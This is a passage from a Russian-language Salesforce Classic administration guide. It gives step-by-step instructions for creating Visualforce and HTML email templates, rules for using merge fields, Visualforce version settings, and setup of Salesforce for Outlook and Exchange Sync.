Можно создавать шаблоны электронной почты для использования на страницах
Visualforce.

1. Выполните одно из указанных ниже действий.

• Если у вас есть полномочие на изменение опубликованныхшаблонов, в разделе
«Настройка» введите «Шаблоны эл. почты» в поле «Быстрый поиск», затем
выберите «Шаблоны эл. почты».

• При отсутствии таких полномочий перейдите к личным параметрам. Введите
строку «Шаблоны» вполе «Быстрый поиск» ивыберите «Шаблоныэл. почты»
или «Моишаблоны».

2. Нажмите кнопку «Создатьшаблон».

3. Установите переключатель «Visualforce» и нажмите кнопку «Далее».

Шаблон эл. почты Visualforce не поддерживает пакетные электронные рассылки.

4. Выберите папку для хранения шаблона.

5. Чтобы разрешить использование шаблона, установите флажок в поле «Доступно
для использования».

6. Заполните поле «Имя шаблона эл. почты».

7. Принеобходимостиизмените значениеполя «Уникальное имя шаблона». Данное
уникальное имя используется для обращения к компоненту посредством Force.com
API. Уникальность имени позволяет избежать конфликтов имен при установке
управляемых пакетов. Данное имя должно быть уникальным и может содержать
только буквы, цифры и символы подчеркивания. Имя должно начинаться с буквы;
не может содержать пробелов и двух последовательных символов подчеркивания,
а также не может заканчиваться символом подчеркивания.Поле «Уникальное имя
шаблона» позволяет менять имена некоторых компонентов управляемого пакета;
данные изменения отображаются в организации подписчика.

8. При необходимости выберите другой набор символов в раскрывающемся меню
«Кодировка».

9. Заполните поле «Описание». Имя и описание шаблона предназначены только для
внутреннего пользования.

10. Заполните поле «Тема сообщения эл. почты».

11. Выберите нужный тип получателя в раскрывающемся списке «Тип получателя».

12. При необходимости выберите объект для извлечения данных полей слияния шаблона в раскрывающемся списке
«Связанный тип».

13. Нажмите кнопку «Сохранить».

14. Щелкните «Редактироватьшаблон» на странице «Просмотр шаблонов эл. почты».

15. Введите текст разметки для шаблонов эл. почты Visualforce.
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Прим.: Рекомендуем загружать изображения на вкладку «Документы», а затем использовать ссылки на копии
изображений, хранящихся на нашем сервере. Например:

<apex:image id="Logo" value="https://na7.salesforce.com/servlet/servlet.ImageServer?
id=015D0000000Dpwc&oid=00DD0000000FHaG&lastMod=127057656800"
height="64" width="64"/>

16. Чтобы указать версии Visualforce и API, использованные для создания данного шаблона, щелкните «Параметры
версии». Если установлены управляемые пакеты из каталога AppExchange, выберите версию каждого управляемого
пакета, которая должна использоваться с даннымшаблоном эл. почты. Для связи шаблонов эл. почты с последними
версиями Visualforce, API и всех управляемых пакетов, рекомендуется использовать значение по умолчанию для всех
версий. Чтобы сохранить определенный алгоритм работы, укажите предыдущую версию Visualforce и API. Чтобы
получить доступ к компонентам или функциям, которые отличаются от содержимого последней версии пакета,
укажите предыдущую версию управляемого пакета.

17. Чтобы просмотреть сведения о шаблоне, щелкните «Сохранить». Чтобы продолжить редактирование шаблона,
нажмите «Быстроесохранение». Преждечемсохранитьшаблон, убедитесь в действительностиразметкиVisualforce.

Прим.: Максимальный размер шаблона эл. почты Visualforce составляет 1 Мб.

Шаблон эл. почты Visualforce не поддерживает пакетные электронные рассылки.Поля слияния
{!Receiving_User.имя_поля} и {!Sending_User.имя_поля} доступнытолькодляпакетнойэлектронной
рассылки и недоступны в шаблонах эл. почты Visualforce.

Совет:

• Чтобы просмотреть образец шаблона, заполненный данными из выбранных записей, и отправить тестовое
сообщениеэл. почты, щелкните «Отправитьтестовоесообщениеипроверитьполяслияния».Еслишаблон
эл. почтысодержит зашифрованныеданные, то этиданныеотображаются зашифрованнымивнутрисозданного
сообщения эл. почты и при просмотре страницышаблона Visualforce. Эти данные не отображаются в виде
обычного текста по соображениям безопасности.

• Чтобы перевестишаблоны эл. почты Visualforce на языки получателей или связанных объектов, воспользуйтесь
атрибутом language для тега <messaging:emailTemplate>  (допустимые значения: коды языков,
поддерживаемых системой Salesforce, например, «en-US»). Атрибут языка допускает поля слияния из атрибутов
шаблона эл. почты recipientType и relatedToType. При необходимости создайте настраиваемые поля
языка для использования в полях слияния. Чтобы перевести шаблоны эл. почты, воспользуйтесь средством
перевода.

СМ. ТАКЖЕ:

Создание HTML-шаблонов эл. почты

Создание настраиваемых HTML-шаблонов эл. почты

Создание текстовых шаблонов эл. почты

Индивидуальная настройка системы Salesforce
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Создание настраиваемых HTML-шаблонов эл. почты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии

Пакетная электронная
рассылка недоступна в
версиях: Personal Edition,
Contact Manager и Group
Edition.

HTML-шаблоны эл. почты и
шаблоны эл. почты
Visualforce недоступны в
версиях: Personal Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
настраиваемых
HTML-шаблонов эл. почты:
• «Редактирование

HTML-шаблонов»

Для создания илиизменения
папок с общедоступными
шаблонами эл. почты:
• «Управление

общедоступными
шаблонами»

Настраиваемые HTML-шаблоныэл. почтыможносоздаватьбезиспользованияфирменных
бланков. Код HTML можно копировать и вставить непосредственно в шаблон.

1. Выполните одно из указанных ниже действий.

• Если у вас есть полномочие на изменение опубликованныхшаблонов, в разделе
«Настройка» введите «Шаблоны эл. почты» в поле «Быстрый поиск», затем
выберите «Шаблоны эл. почты».

• При отсутствии таких полномочий перейдите к личным параметрам. Введите
строку «Шаблоны» вполе «Быстрый поиск» ивыберите «Шаблоныэл. почты»
или «Моишаблоны».

2. Нажмите кнопку «Создатьшаблон».

3. Установите переключатель «Настраиваемый (без использования фирменного
бланка)» и нажмите кнопку «Далее».

4. Выберите папку для хранения шаблона.

5. Чтобы разрешить использование шаблона, установите флажок в поле «Доступно
для использования».

6. Заполните поле «Имя шаблона эл. почты».

7. Принеобходимостиизмените значениеполя «Уникальное имя шаблона». Данное
уникальное имя используется для обращения к компоненту посредством Force.com
API. Уникальность имени позволяет избежать конфликтов имен при установке
управляемых пакетов. Данное имя должно быть уникальным и может содержать
только буквы, цифры и символы подчеркивания. Имя должно начинаться с буквы;
не может содержать пробелов и двух последовательных символов подчеркивания,
а также не может заканчиваться символом подчеркивания.Поле «Уникальное имя
шаблона» позволяет менять имена некоторых компонентов управляемого пакета;
данные изменения отображаются в организации подписчика.

8. При необходимости выберите другой набор символов в раскрывающемся меню
«Кодировка».

9. Заполните поле «Описание». Имя и описаниешаблона предназначены только для
внутреннего пользования. Описание используется как заголовок любого действия
эл. почты, регистрируемого при отправке пакетных электронных рассылок.

10. Нажмите кнопку «Далее».

11. Заполните поле «Тема».

12. Введите в сообщение исходный текст в формате HTML. Добавьте HTML-теги.

Прим.: Рекомендуем загружать изображения на вкладку «Документы», а затем использовать ссылки на копии
изображений, хранящихся на нашем сервере. Например:

<img src="https://na2.salesforce.com/servlet/servlet.ImageServer?
id=015D0000000Dpwc&oid=00DD0000000FHaG&lastMod=1270576568000" alt="Company Logo"
height="64" width="64"/>
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13. Принеобходимостидобавьтеполя слиянияв темуи текстшаблона. Данныеполя заменяютсяинформациейиз записи
интереса, контакта, организации, возможности, обращения или решения при отправке сообщения эл. почты.

14. Нажмите кнопку «Далее».

15. Чтобы автоматически вставлять текст HTML-версии без HTML-тегов, введите текстовую версию сообщения эл. почты
илищелкните «Копировать текст из HTML-версии». Текстовая версия доступна получателям, которые не могут
просматривать HTML-сообщения эл. почты.

Внимание: Рекомендуемпропустить текстовуюверсию. В этом случае система Salesforce автоматически создает
текстовое содержимое на основе текущей HTML-версии. При вводе содержимого вручную все последующие
изменения HTML-версии не отображаются в текстовой версии.

16. Нажмите кнопку «Сохранить».

Совет: Чтобыпросмотреть образецшаблона, заполненный даннымииз выбранных записей, и отправить тестовое
сообщение эл. почты, щелкните «Отправить тестовое сообщение и проверить поля слияния».

Прим.: Содержимое настраиваемого HTML-шаблона, выбранного для использования в сообщении эл. почты, не
может быть изменено.

СМ. ТАКЖЕ:

Создание шаблонов эл. почты Visualforce

Клонирование шаблонов эл. почты

Индивидуальная настройка системы Salesforce

Создание HTML-шаблонов эл. почты

Создание шаблонов эл. почты Visualforce

Создание письменного бланка

Добавление изображений в шаблоны эл. почты

Индивидуальная настройка системы Salesforce
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Создание HTML-шаблонов эл. почты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии

Пакетная электронная
рассылка недоступна в
версиях: Personal Edition,
Contact Manager и Group
Edition.

HTML-шаблоны эл. почты и
шаблоны эл. почты
Visualforce недоступны в
версиях: Personal Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
HTML-шаблонов эл. почты:
• «Редактирование

HTML-шаблонов»

Для создания илиизменения
папок с общедоступными
шаблонами эл. почты:
• «Управление

общедоступными
шаблонами»

HTML-шаблоны эл. почты можно создавать на основе фирменных бланков. При этом
нельзя внести изменения вфирменный бланк или макет существующегошаблона. Для
создания HTML-шаблона требуется по крайней мере один активныйфирменный бланк.

Чтобы создать HTML-шаблон эл. почты, выполните указанные ниже действия.

1. Выполните одно из указанных ниже действий.

• Если у вас есть полномочие на изменение опубликованныхшаблонов, в разделе
«Настройка» введите «Шаблоны эл. почты» в поле «Быстрый поиск», затем
выберите «Шаблоны эл. почты».

• При отсутствии таких полномочий перейдите к личным параметрам. Введите
строку «Шаблоны» вполе «Быстрый поиск» ивыберите «Шаблоныэл. почты»
или «Моишаблоны».

2. Нажмите кнопку «Создатьшаблон».

3. Установите переключатель «HTML (с использованием фирменного бланка)» и
нажмите кнопку «Далее».

4. Выберите папку для хранения шаблона.

5. Чтобы разрешить использование шаблона, установите флажок в поле «Доступно
для использования».

6. Заполните поле «Имя шаблона эл. почты».

7. Принеобходимостиизмените значениеполя «Уникальное имя шаблона». Данное
уникальное имя используется для обращения к компоненту посредством Force.com
API. Уникальность имени позволяет избежать конфликтов имен при установке
управляемых пакетов. Данное имя должно быть уникальным и может содержать
только буквы, цифры и символы подчеркивания. Имя должно начинаться с буквы;
не может содержать пробелов и двух последовательных символов подчеркивания,
а также не может заканчиваться символом подчеркивания.Поле «Уникальное имя
шаблона» позволяет менять имена некоторых компонентов управляемого пакета;
данные изменения отображаются в организации подписчика.

8. Заполните поле «Фирменный бланк». Фирменныйбланк определяет логотип, цвет
страницыи параметры текста для сообщения эл. почты. Это поле нельзя изменить в существующемшаблоне. Чтобы
использовать другой бланк после создания шаблона, создайте новыйшаблон.

9. Заполните поле «Макет эл. почты». Макет эл. почты определяет столбцы и макет страницы для текста сообщения.
Чтобы просмотреть образцы, щелкните «Просмотр параметров макета эл. почты». Это поле нельзя изменить в
существующемшаблоне. Чтобы использовать другой макет эл. почты после создания шаблона, создайте новый
шаблон.

10. При необходимости выберите другой набор символов в раскрывающемся меню «Кодировка».

11. Заполнитеполе «Описание». Имяиописаниешаблонапредназначенытолькодлявнутреннегопользования. Описание
используетсякак заголовоклюбогодействияэл. почты, регистрируемогоприотправкепакетныхэлектронныхрассылок.

12. Нажмите кнопку «Далее».

13. Введите тему сообщения эл. почты.

14. Чтобы ввести текст сообщения, щелкните любой раздел и введите текст. Чтобы заблокировать возможность
редактирования раздела при использовании данного шаблона, щелкните значок замка.
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15. Чтобы изменить стиль текста, выделите нужный текст и воспользуйтесь панельюформатирования.

16. Принеобходимостидобавьтеполя слиянияв темуи текстшаблона. Данныеполя заменяютсяинформациейиз записи
интереса, контакта, организации, возможности, обращения или решения при отправке сообщения эл. почты.

17. Нажмите кнопку «Далее».

18. Чтобы автоматически вставлять текст HTML-версии без HTML-тегов, введите текстовую версию сообщения эл. почты
илищелкните «Копировать текст из HTML-версии». Текстовая версия доступна получателям, которые не могут
просматривать HTML-сообщения эл. почты.

Внимание: Рекомендуемпропустить текстовуюверсию. В этом случае система Salesforce автоматически создает
текстовое содержимое на основе текущей HTML-версии. При вводе содержимого вручную все последующие
изменения HTML-версии не отображаются в текстовой версии.

19. Нажмите кнопку «Сохранить».

Совет: Чтобыпросмотреть образецшаблона, заполненный даннымииз выбранных записей, и отправить тестовое
сообщение эл. почты, щелкните «Отправить тестовое сообщение и проверить поля слияния».

СМ. ТАКЖЕ:

Создание настраиваемых HTML-шаблонов эл. почты

Создание шаблонов эл. почты Visualforce

Добавление изображений в шаблоны эл. почты

Создание письменного бланка

Индивидуальная настройка системы Salesforce

Рекомендации по использованию полей слияния в шаблонах электронной почты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

Пакетная электронная
рассылка недоступна в
версиях: Personal Edition,
Contact Manager и Group
Edition.

HTML-шаблоны эл. почты и
шаблоны эл. почты
Visualforce недоступны в
версиях: Personal Edition.

Поле слияния — это поле, которое может быть добавлено в сообщение илишаблон
сообщения электронной почты, шаблон стандартного письма, настраиваемую ссылку
илиформулу для внедрения значений из записи. Поля слияния могут использоваться в
темеитекстенастраиваемых HTML-шаблонов. Прииспользованииполейслиянияследует
понимать их алгоритм работы и представлять себе результаты в объединенных
сообщениях электронной почты.

Рекомендации по синтаксису и форматированию

Синтаксис выглядит следующим образом: открывающая фигурная скобка,
восклицательный знак, имя объекта, точка, имя поля, закрывающая фигурная скобка.
Например, чтобы добавить номер счета получателя, введите следующую строку «Код:
{!Account.AccountNumber}». В этом случае сообщение эл. почты, открытое
получателем, отображает строку: «Код: 001234567890123.

Синтаксисполяслиянияопределяетсяместомиспользованияполя. Чтобыгарантировать
использование правильного синтаксиса, выберите поля слияния из раскрывающегося
списка редактора в области использования поля слияния.Большинство полей слияния
для шаблонов эл. почты полностью соответствует полямшаблонов эл. почты.
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Важное замечание:

• Еслинастраиваемыеобъектыиспользуютодинаковыеименаилиметки, топрииспользованиисписка «Доступные
поля слияния» отображаются только поля одного настраиваемого объекта. Чтобы гарантировать возможность
выбора полей слияния других объектов, рекомендуем использовать уникальные имена и метки для всех
настраиваемых объектов.

Рекомендации по использованию полей слияния

Общие сведения

• Не рекомендуем использовать поле формулы гиперссылки в теме шаблона эл. почты или тексте текстового
шаблона эл. почты.

• Шаблоны эл. почты позволяют добавлять текст замены в любые поля слияния. Текст замены отображается в
отправленномсообщенииэлектроннойпочты, еслиобъединеннаязаписьнесодержитданныхвсоответствующем
поле. Чтобы добавить текст замены, введите запятую после имени поля и текст перед закрывающей скобкой.
Например: «Здравствуйте, {!Contact.FirstName, ценный клиент}!». При сохранениишаблона поле
слиянияотображаетсяследующимобразом: «Здравствуйте, {!BLANKVALUE(Contact.FirstName, "ценный
клиент")}!». Таким образом, если запись контакта содержит пустое поле «Личное имя», то сообщение
электроннойпочты, созданноенаосноведанногошаблона, будетначинаться со следующейстроки «Здравствуйте,
ценный клиент!».

• Поляслияния {!Receiving_User.имя_поля} и {!Sending_User.имя_поля} доступнытолькодляпакетной
электронной рассылки и недоступны в шаблонах эл. почты Visualforce.

• Поляпользователятакженазываютсяполями «Отправитель» дляадминистраторовипользователейсполномочием
«Управление пользователями». Рекомендуем использовать данные поля в шаблонах эл. почты для ссылки на
отправителя.

• Администраторыипользователисполномочием «Управлениепользователями» могутиспользоватьполя слияния
«Получатель» в шаблонах эл. почты для ссылки на получателя.

• Поля «Дата создания» и «Дата последнего изменения» отображают только дату, но не время.

• Еслишаблон содержит поле слияния, которому соответствует пустое поле отдельной записи, то данное поле не
отображается вотправленномсообщенииэл. почты. Чтобынайтипустыеполя, изменитесписковоепредставление
получателей для поиска полей слияния, используемых в шаблоне, и введите следующийфильтр: «"<поле>"
"равно"». Прежде чем отправить сообщения эл. почты, измените записи, содержащие пустые поля.

Организации
Еслиполя слияниядляорганизацийдобавляются вшаблонэл. почты, которыйвыбираетсяпоследобавленияконтакта
в поле сообщения эл. почты «Кому», тополя слияния для организаций заполняются даннымиорганизацииконтакта,
а не организации обращения.

Утверждения

• Поля слияния для процессов утверждения могут использоваться в шаблонах эл. почты, но не в шаблонах
стандартных писем.

• Поля слияния утверждения (кроме {!ApprovalRequest.Comments}) по имени
{!ApprovalRequest.имя_поля} в шаблонах электронной почты возвращают значения только при
использованиивсообщенияхэл. почтыоназначенииутвержденияиэлектронныхпредупрежденияхдляпроцессов
утверждения. При использовании в других сообщениях эл. почты, включая электронные предупреждения для
бизнес-правил, поля слияния утверждения возвращают значение null.
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• Поле слияния {!ApprovalRequest.Comments} возвращает только последний введенный комментарий в
сообщениях эл. почты для этапа утверждения, предполагающего единогласное утверждение несколькими
ответственными.

• Присозданиипроцесса утверждениятекущийпользовательилиавторпроцессаможет выбратьотправителя. При
использованиинастраиваемыхшаблоновэл. почты, содержащихполяслияния, помните, чтотекущийпользователь
должен отличаться от отправителя. Возможно, потребуется изменение текущего пользователя
({!User.<имя_поля>}) на выбранного отправителя ({!ApprovalRequestingUser.<имя_поля>}).

Кампании

• Поляслияниядлякампанийиучастниковкампаниймогутиспользоватьсявшаблонахэл. почты, ноневшаблонах
стандартных писем.

• Поляслияниядляучастниковкампанийнемогутиспользоватьсясдругимитипамиполейслиянияводномшаблоне
эл. почты. Например, чтобы добавить должность получателя в шаблон эл. почты, содержащий поле слияния для
участников кампаний, воспользуйтесь полем слияния {!CampaignMember.Title} вместо поля
{!Lead.Title} или {!Contact.Title}.

Обращения
Если организация использует функцию Email-to-Case или On-Demand Email-to-Case, то пользователи могут создавать
шаблоны эл. почты, позволяющие агентам службы поддержки отвечать на полученные сообщения эл. почты,
содержащиеобращения. Данныешаблонымогутсодержатьполяслияния, которыедобавляютсведенияизисходного
сообщения эл. почты в ответ.

Connection Finder
Настраиваемые шаблоны эл. почты должны содержать URL-адрес опроса. Поле слияния
{!Contact.PartnerSurveyURL} доступно при созданиишаблонов в качестве поля слияния для контактов.

Контакты

• ВSalesforce Classicшаблоны, содержащиеполяслияниядляконтактов, могутиспользоватьсядлясозданиядокументов
стандартных писем, предназначенных интересам. Аналогичным образомшаблоны с полями интересов можно
использовать для создания документов стандартных писем, предназначенных контактам.

• Можноиспользоватьполя контактовилиинтересовдля слияния в Salesforce Classicи Lightning Experience, но только
для документовобъектов, из которыхизвлекаютсянастраиваемыеполя. Например, настраиваемоеполеинтересов
можно использовать только для шаблонов контактов.

Возможности
Поля слияния для продуктов возможностей доступны только тем организациям, которые используют продукты,
поэтому могут использоваться только в шаблонах стандартных писем, но не в шаблонах эл. почты.

Бизнес-правила

Прежде чем использовать поля слияния из записей пользователей вшаблонах эл. почты, выберите нужный тип поля
слияния.

• Поляпользователя: рекомендуемиспользоватьданныеполя слияниядляотображенияотправителя. Поля слияния
поимени {!User.имя_поля} возвращаютзначенияиз записипользователя, которыйсоздалилиобновил запись,
инициировавшую выполнение бизнес-правила.

• Поляцелевогопользователябизнес-правила: рекомендуемиспользовать данныеполя слияния только вшаблонах
эл. почты для бизнес-правил по объекту «Пользователь». Поля слияния по имени {!Target_User.имя_поля}
возвращают значенияиз записипользователя, созданнойилиобновленнойдля инициированиябизнес-правила.
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Данный выпуск поддерживает бета-версию бизнес-правил по объекту «Пользователь», являющуюся полноценной,
но имеющую некоторые ограничения. Чтобы отправить свои отзывы и предложения, воспользуйтесь веб-узлом
IdeaExchange.

СМ. ТАКЖЕ:

Общие сведения о полях слияния

Поля слияния для шаблонов эл. почты Visualforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Пакетная электронная
рассылка недоступна в
версиях: Personal Edition,
Contact Manager и Group
Edition.

Поле слияния — это поле, которое может быть добавлено вшаблон эл. почты, шаблон
стандартного письма, настраиваемую ссылку или формулу для внедрения значений из
записи.

Синтаксис и форматирование

Поля слияния для шаблонов эл. почты Visualforce используют тот же язык выражений,
что и формулы.

{!Object_Name.Field_Name}

Например, шаблон эл. почты может начинаться со следующей строки: «Здравствуйте, {!Contact.FirstName}!».
Полеслиянияотправленногошаблона заменяетсяличнымименемсоответствующегополучателя. Например, сообщение
эл. почты, открытое получателем Иваном, начинается со следующей строки: «Здравствуйте, Иван!».

Советы

• Шаблон эл. почты Visualforce не поддерживает пакетные электронные рассылки.Пакетные электронные рассылки
используют поля слияния {!Receiving_User.имя_поля} и {!Sending_User.имя_поля}, которые не
поддерживаются шаблонами эл. почты Visualforce.

• Чтобы перевести шаблоны эл. почты Visualforce на языки получателей или связанных объектов, воспользуйтесь
атрибутом языка для тега <messaging:emailTemplate>. Допустимые значения: коды языков, поддерживаемых
системой Salesforce (например, «en-us» для региона «Английский (СоединенныеШтаты)»). Атрибут языка допускает
поля слиянияиз атрибутовшаблона эл. почты recipientType и relatedToType. Принеобходимости создайте
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настраиваемыеполя языка для использования в полях слияния. Чтобыперевестишаблоны эл. почты, воспользуйтесь
средством перевода.

СМ. ТАКЖЕ:

Создание шаблонов эл. почты Visualforce

Общие сведения о полях слияния

Рекомендации по использованию полей слияния в шаблонах стандартных писем

ВЕРСИИ

Данная функция доступна
только в интерфейсе
Salesforce Classic.

Доступно в версиях: все
версии.

Поле слияния — это поле, которое может быть добавлено в сообщение илишаблон
сообщения электронной почты, шаблон стандартного письма, настраиваемую ссылку
или формулу для внедрения значений из записи. При использовании полей слияния
следует понимать их алгоритм работы и представлять себе результаты в объединенных
документах.

Рекомендации по синтаксису и форматированию

Шаблоны стандартных писем создаются путем загрузки документов, доступных на
локальном компьютере, в систему Salesforce. Данные поля слияния используют
следующий синтаксис: ОБЪЕКТ_ИМЯ_ПОЛЯ или ИМЯ_ПОЛЯ. Ниже перечислены требования, предъявляемые к
полям слияния для шаблонов стандартных писем.

• Уникальность

• Использование только букв, чисел и символов подчеркивания (_)

• Длина не более 40 символов

Например: AccountNumber. Чтобы гарантировать использование правильного синтаксиса, вставьте поля слияния в
шаблон стандартных писем с помощью приложения Connect for Office.

Совместимость полей слияния

• В Salesforce Classicшаблоны, содержащиеполя слияния для контактов, могут использоваться для создания документов
стандартных писем, предназначенных интересам. Аналогичным образомшаблоны с полями интересов можно
использовать для создания документов стандартных писем, предназначенных контактам.

• Можно использовать поля контактов или интересов для слияния в Salesforce Classic и Lightning Experience, но только
для документов объектов, из которых извлекаются настраиваемые поля. Например, настраиваемое поле интересов
можно использовать только для шаблонов контактов.

• В Salesforce Classic стандартные письма, предназначенные для возможностей, поддерживают использование полей
слияния для контактов, позволяющих вставлять дополнительные сведения о связанных контактах.

• В Salesforce Classicполя слияниядляпродуктов возможностейдоступнытолько теморганизациям, которыеиспользуют
продукты. Поля слияния для продуктов возможностей недоступны в Lightning Experience.

• В Salesforce Classic поля слияния для процессов утверждения могут использоваться в шаблонах электронной почты,
но не в шаблонах стандартных писем. Поля слияния для процессов утверждения недоступны в Lightning Experience.
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• Поля слияния для кампаний и участников кампаний не могут использоваться в шаблонах стандартных писем.

СМ. ТАКЖЕ:

Стандартные письма

Общие сведения о полях слияния

Управление параметрами версии для шаблонов эл. почты Visualforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Пакетная электронная
рассылка недоступна в
версиях: Personal Edition,
Contact Manager и Group
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки параметров
версиишаблонов эл. почты
Visualforce:
• «Настройка

приложения»

В целях обеспечения обратной совместимости каждыйшаблон эл. почты Visualforce
сохраняется спараметрамиопределеннойверсииVisualforceиAPI. Еслишаблонэл. почты
Visualforce ссылается на установленные управляемые пакеты, то параметры версии для
каждогоуправляемогопакета, используемогокомпонентомVisualforce, такжесохраняются.
ПодобноVisualforce, APIикомпонентыуправляемыхпакетовиспользуютсявпоследующих
версиях, но шаблон эл. почты Visualforce все равно остается связанным с версиями,
поведение которых уже известно.

Версия пакета — это номер, который определяет набор компонентов, загруженных в
пакет. Для номера версии используется следующийформат:
основной_номер.дополнительный_номер.номер_исправления  (например, 2.1.3). Основной и
дополнительныйномера увеличиваютсяна выбранное значениепри каждомосновном
выпуске. Значение переменной номер_исправления указывается и обновляется только в
случае выпускаисправления.Версиипакетапозволяютиздателямизменять компоненты
управляемыхпакетовпутемвыпускапоследующихверсийпакетабезнарушениятекущих
интеграций, использующих пакет.

Чтобызадать версию Salesforce APIиVisualforceдля текущегошаблона эл. почтыVisualforce,
выполните указанные ниже действия.

1. Выполните одно из указанных ниже действий.

• Если у вас есть полномочие на изменение опубликованныхшаблонов, в разделе
«Настройка» введите «Шаблоны эл. почты» в поле «Быстрый поиск», затем
выберите «Шаблоны эл. почты».

• При отсутствии таких полномочий перейдите к личным параметрам. Введите
строку «Шаблоны» вполе «Быстрый поиск» ивыберите «Шаблоныэл. почты»
или «Моишаблоны».

2. Щелкните «Имя шаблона эл. почты» для шаблона эл. почты Visualforce.

3. Затем щелкните «Редактироватьшаблон» и «Параметры версии».

4. ВыберитеверсиюSalesforce APIвпараметре «Версия». ДаннаяверсиятакжеопределяетверсиюVisualforce, используемую
в шаблоне.

5. Нажмите кнопку «Сохранить».

Чтобы настроить параметры версии пакета для шаблона эл. почты Visualforce, выполните указанные ниже действия.

1. Выполните одно из указанных ниже действий.

• Если у вас есть полномочие на изменение опубликованныхшаблонов, в разделе «Настройка» введите «Шаблоны
эл. почты» в поле «Быстрый поиск», затем выберите «Шаблоны эл. почты».

• Приотсутствиитакихполномочийперейдитекличнымпараметрам. Введите строку «Шаблоны» вполе «Быстрый
поиск» и выберите «Шаблоны эл. почты» или «Моишаблоны».
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2. Щелкните «Имя шаблона эл. почты» для шаблона эл. почты Visualforce.

3. Затем щелкните «Редактироватьшаблон» и «Параметры версии».

4. Заполните поле «Версия» для каждого управляемого пакета, используемого шаблоном эл. почты Visualforce. Данная
версия управляемогопакетапродолжаетиспользоватьсяшаблономэл. почтыVisualforceприустановкеболеепоздних
версий управляемого пакета, если параметры версии не обновляются пользователем вручную. Чтобы добавить
установленныйуправляемыйпакет в списокпараметров, выберитенужныйпакетиз спискадоступныхпакетов. Список
отображается толькоприналичииустановленногоуправляемогопакета, которыйуженесвязансшаблономэл. почты
Visualforce.

5. Нажмите кнопку «Сохранить».

Ниже перечислены рекомендации по работе с параметрами версии пакета.

• Шаблон эл. почты Visualforce, ссылающийся на управляемый пакет, по умолчанию связывается с последней
установленной версией управляемого пакета, если при его сохранении версия управляемого пакета не указывается.

• Еслишаблонэл. почтыVisualforce ссылаетсянапакет, токнопка «Удалить»недоступнадляпараметровверсиишаблона
эл. почты Visualforce, используемых управляемым пакетом.

СМ. ТАКЖЕ:

Создание шаблонов эл. почты Visualforce

Создание текстовых шаблонов эл. почты

Создание HTML-шаблонов эл. почты

Создание настраиваемых HTML-шаблонов эл. почты

Управление облачной интеграцией эл. почты

Администрирование Salesforce App for Outlook

Приложение Salesforce для Outlook

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Обеспечьте группы сбыта важнымифункциями для повышения продаж. Группы сбыта
могут повысить эффективность управления продажами с помощью Microsoft® Outlook®

Web App (OWA), Outlook 2016 или Outlook 2013 совместно с Microsoft Office 365™. Торговым
представителямпредоставляетсявозможностьдобавлятьсообщенияэл. почтыивложения
к записям Salesforce. Крометого, используя глобальныедействия, можносоздавать записи
Salesforce непосредственно в почтовых приложениях.

Включите приложение Salesforce for Outlook, затем участники группы сбыта должны
выполнитькраткиепроцедурынастройки. После этого участники группымогут выбрать
сообщение эл. почты в почтовом приложении (1) и открыть вкладку Salesforce  (2).
На этой вкладке отображаются связанные контакты, интересы и пользователи. Кроме
того, навкладкеможнопросматриватьсвязанныеорганизации, возможностииобращения
(3).
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Торговыепредставителимогут выбрать записьипросматривать сведенияовыбранномобъекте впочтовомприложении.
Такжеможнополучитьполныесведенияо записиилиэл. сообщении, добавленномк записи, непосредственнов Salesforce
(4).

Торговые представители, участники событий в календарях Microsoft, могут просматривать соответствующие записи
Salesforce. Для этого следует открыть событие в почтовом приложении Microsoft. Затем надо выбрать Salesforce (1).

Появятся соответствующие записи Salesforce (2). После выбора записи можно просмотреть дополнительные сведения в
почтовомприложении (подобноработессообщениямиэл. почты). Полнуюинформациюозаписитакжеможнополучить
непосредственно в Salesforce (3).

Для организаторов событий доступны разные представления записей Salesforce. Организатор открывает событие и
выбирает «Надстройки» > Salesforce. На правой панели отображаются соответствующие записи.
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Настройка групп сбыта для использования Salesforce в почтовых приложениях Microsoft®

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения приложения
Salesforce for Outlook:
• «Настройка

приложения»

Разрешите группам сбыта просматривать и создавать записи Salesforce с помощью
глобальныхдействийнепосредственнов веб-приложении Outlook, Outlook 2016 и Outlook
2013.

1. В разделе «Настройка» Salesforce введите «Параметры приложения для Outlook» в
поле «Быстрый поиск», затем выберите «Параметры приложения для Outlook.

2. Запустите приложение. При использованиифункции «Мой домен» введите адрес настраиваемого домена в поле
Exchange Metadata URL. Сохраните внесенные изменения.

Появившиеся разделы со списком разрешенных доменов и соотнесения не требуют изменения.

3. Выберите среду для настройки приложения Salesforce for Outlook.

Совет: Предоставьте самостоятельность группам сбыта! Предоставьте группам сбыта возможность установки
приложения Salesforce for Outlook посредствоминтернет-магазинаприложений Microsoft для Office. Такимобразом
вы потратите меньше времени на установку приложения участникам группы.

2241

Управление облачной интеграцией эл. почтыНастройка и обслуживание инструментов продаж



Администрирование Exchange Sync (бета-версия)

Синхронизация элементов Microsoft® посредством Exchange Sync (бета-версия)

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Exchange Sync позволяет пользователям синхронизировать контакты и события между
сервером Microsoft® Exchange и системой Salesforce без установки и обслуживания
специализированного программного обеспечения.

Прим.: В настоящее время доступна только бета-функция Exchange Sync,
